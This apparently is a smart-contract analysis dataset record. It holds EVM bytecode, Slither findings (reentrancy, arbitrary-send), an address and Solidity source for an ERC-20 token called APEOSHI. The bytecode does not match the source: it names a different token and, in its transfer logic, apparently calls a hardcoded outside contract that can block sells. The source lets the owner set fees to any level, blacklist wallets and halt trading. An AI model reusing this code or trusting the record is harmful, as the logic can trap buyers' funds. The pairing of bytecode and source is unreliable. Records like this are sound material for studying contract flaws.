3ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f494e4f53554b4500000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce776979acb99647de6f84e1b7cba9af88e750d1d771599688a0c296dd693d3e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
25
0xa2ddff59c5ab639df6cb2de88de61faccbbf8ebf
/** APEOSHI Degen Play For The Apes By The Apes! */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract APEOSHI is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "APEOSHI";////////////////////////// string private constant _symbol = "APE$";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 12;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 20;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xf07bd91f86949e87002AbE7dDFC014d9feDDF0a4);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x2c8c3297f8AF85248862E0B2F2C0E13D9A9BD253);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
